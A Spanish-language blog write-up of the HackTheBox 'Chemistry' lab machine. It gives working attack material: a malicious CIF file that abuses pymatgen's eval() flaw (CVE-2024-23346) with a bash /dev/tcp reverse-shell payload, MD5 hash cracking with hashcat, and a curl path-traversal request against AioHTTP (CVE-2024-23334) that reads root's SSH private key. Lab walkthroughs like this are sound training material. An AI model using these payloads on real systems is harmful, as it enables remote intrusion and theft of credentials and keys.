WriteupFácilLinux5 de diciembre de 202511 min de lectura

HackTheBox: Writeup de Chemistry

Resolución de Chemistry de HackTheBox: RCE mediante CVE-2024-23346 en pymatgen al procesar ficheros CIF maliciosos, cracking de hashes MD5 de SQLite para moverse lateralmente y escalada leyendo la clave SSH de root con path traversal en AioHTTP (CVE-2024-23334).


Chemistry es una máquina Linux de dificultad fácil de HackTheBox. La cadena de explotación pasa por una aplicación Flask que analiza ficheros CIF, vulnerable a ejecución remota de código mediante CVE-2024-23346 en la librería pymatgen. Una vez dentro, crackeamos un hash MD5 de la base de datos SQLite para movernos lateralmente y escalamos privilegios leyendo la clave SSH de root a través de un path traversal en un servicio AioHTTP interno (CVE-2024-23334).


1. Reconocimiento inicial

Escaneamos con Nmap:

sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn 10.10.11.38 -oN scan
PuertoEstadoServicioVersión
22/tcpopensshOpenSSH 8.2p1 Ubuntu
5000/tcpopenhttpWerkzeug/3.0.3 Python/3.9.5

Solo SSH y una aplicación Flask en el puerto 5000. Abrimos el navegador.


2. Enumeración de la aplicación web

La web es un analizador de ficheros CIF (Crystallographic Information File), usados en química para describir estructuras cristalinas. Tiene registro, login y subida de ficheros .cif.

Nos registramos con cualquier usuario y accedemos al panel de subida.


3. Explotación: CVE-2024-23346 (RCE en pymatgen)

CVE-2024-23346 afecta a la librería pymatgen (usada para procesar los CIF). El método JonesFaithfulTransformation.from_transformation_str() pasa la entrada del usuario directamente a eval() sin ninguna sanitización. Podemos inyectar código Python arbitrario en el campo _space_group_magn.transform_BNS_Pp_abc del fichero CIF.

Creamos el fichero shell.cif con el payload de reverse shell:

data_pwn
_cell_length_a   10.00000
_cell_length_b   10.00000
_cell_length_c   10.00000
_cell_angle_alpha   90.00000
_cell_angle_beta    90.00000
_cell_angle_gamma   90.00000
_symmetry_space_group_name_H-M   'P 1'

_space_group_magn.transform_BNS_Pp_abc  '[d for d in ().__class__.__mro__[1].__getattribute__(*[().__class__.__mro__[1]]+["__subclasses__"])().__getattr__("load_module")("os").system("bash -c '\''bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'\''");0,0,0]'

loop_
_atom_site_label
_atom_site_fract_x
C1 0 0 0

Nos ponemos en escucha:

nc -lvnp 4444

Subimos shell.cif a través del formulario y, al procesarse, recibimos la conexión:

Connection received on 10.10.11.38 43812
bash: cannot set terminal process group: Inappropriate ioctl
app@chemistry:~/app$

Estamos dentro como app. Mejoramos la shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

4. Extracción de credenciales de la base de datos

Buscamos la base de datos de la aplicación:

find . -name "*.db" 2>/dev/null
./instance/database.db

La abrimos con sqlite3:

sqlite3 instance/database.db
.tables
structure  user
SELECT username, password FROM user;
admin|2861debaf8d99436a10ed6f75a252abf
app|197865e46b878d9e74a0346b6d59886a
rosa|63ed86ee9f624c7b14f1d4f43dc251a5
robert|02fcf7cfc10adc37959fb21f06c6240b
...

Los hashes son de 32 caracteres: formato MD5. Los crackeamos con Hashcat:

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados

5. Acceso por SSH como rosa

ssh rosa@10.10.11.38

Introducimos la contraseña unicorniosrosados y accedemos:

cat user.txt

Flag de usuario obtenida.


6. Escalada de privilegios: CVE-2024-23334 (path traversal en AioHTTP)

Enumeramos los servicios internos escuchando en localhost:

ss -tlnp
State   Recv-Q Send-Q  Local Address:Port
LISTEN  0      128     127.0.0.1:8080

Hay un servicio corriendo en el puerto 8080 solo accesible desde localhost. Comprobamos con curl:

curl -s http://127.0.0.1:8080/

La respuesta muestra una aplicación Python que sirve archivos estáticos con AioHTTP. Esta versión tiene configurado follow_symlinks=True en su ruta estática /assets/, lo que la hace vulnerable a CVE-2024-23334 (path traversal con lectura de archivos arbitrarios del sistema).

La clave es usar --path-as-is en curl para que no normalice los ../ antes de enviar la petición:

curl --path-as-is http://127.0.0.1:8080/assets/../../../../root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDENEFpGERmGFxl3dSBFPbX3OcxaEy4Nh0Y/G0M4MlpVwAAAJgXOqz4Fz
...
-----END OPENSSH PRIVATE KEY-----

Guardamos la clave, le damos los permisos correctos y accedemos como root:

chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.10.11.38
root@chemistry:~#
cat root.txt

Resumen de técnicas utilizadas

  • Enumeración de servicios con Nmap
  • CVE-2024-23346 — RCE via eval() sin sanitizar en la librería pymatgen al procesar ficheros CIF
  • Extracción de hashes MD5 de una base de datos SQLite
  • Cracking de hashes con Hashcat
  • Descubrimiento de servicio interno en localhost con ss
  • CVE-2024-23334 — Path traversal en AioHTTP con follow_symlinks=True para leer la clave SSH de root
Tiempo en página 0:00Lectura estimada: 11 min

Posts relacionados

WriteupFácilLinux

HackTheBox: Writeup de Cap

Resolución de la máquina Cap de HackTheBox: IDOR en un panel de capturas de red que expone credenciales FTP en texto plano y escalada de privilegios abusando de cap_setuid sobre el binario de Python.

28 de noviembre de 202510 min
WriteupFácilLinux

HackTheBox: Writeup de TwoMillion

Resolución de TwoMillion de HackTheBox: desofuscación de JavaScript para generar un invite code, broken access control en la API para escalar a admin, command injection en la generación de VPN y escalada con CVE-2023-0386 (OverlayFS).

18 de diciembre de 202514 min
WriteupFácilLinux

HackTheBox: Writeup de Alert

Resolución de Alert de HackTheBox: XSS almacenado en un visor de Markdown para leer archivos internos del servidor, cracking de un hash APR-MD5 y escalada abusando de permisos de escritura de grupo sobre un script ejecutado por cron como root.

15 de enero de 202612 min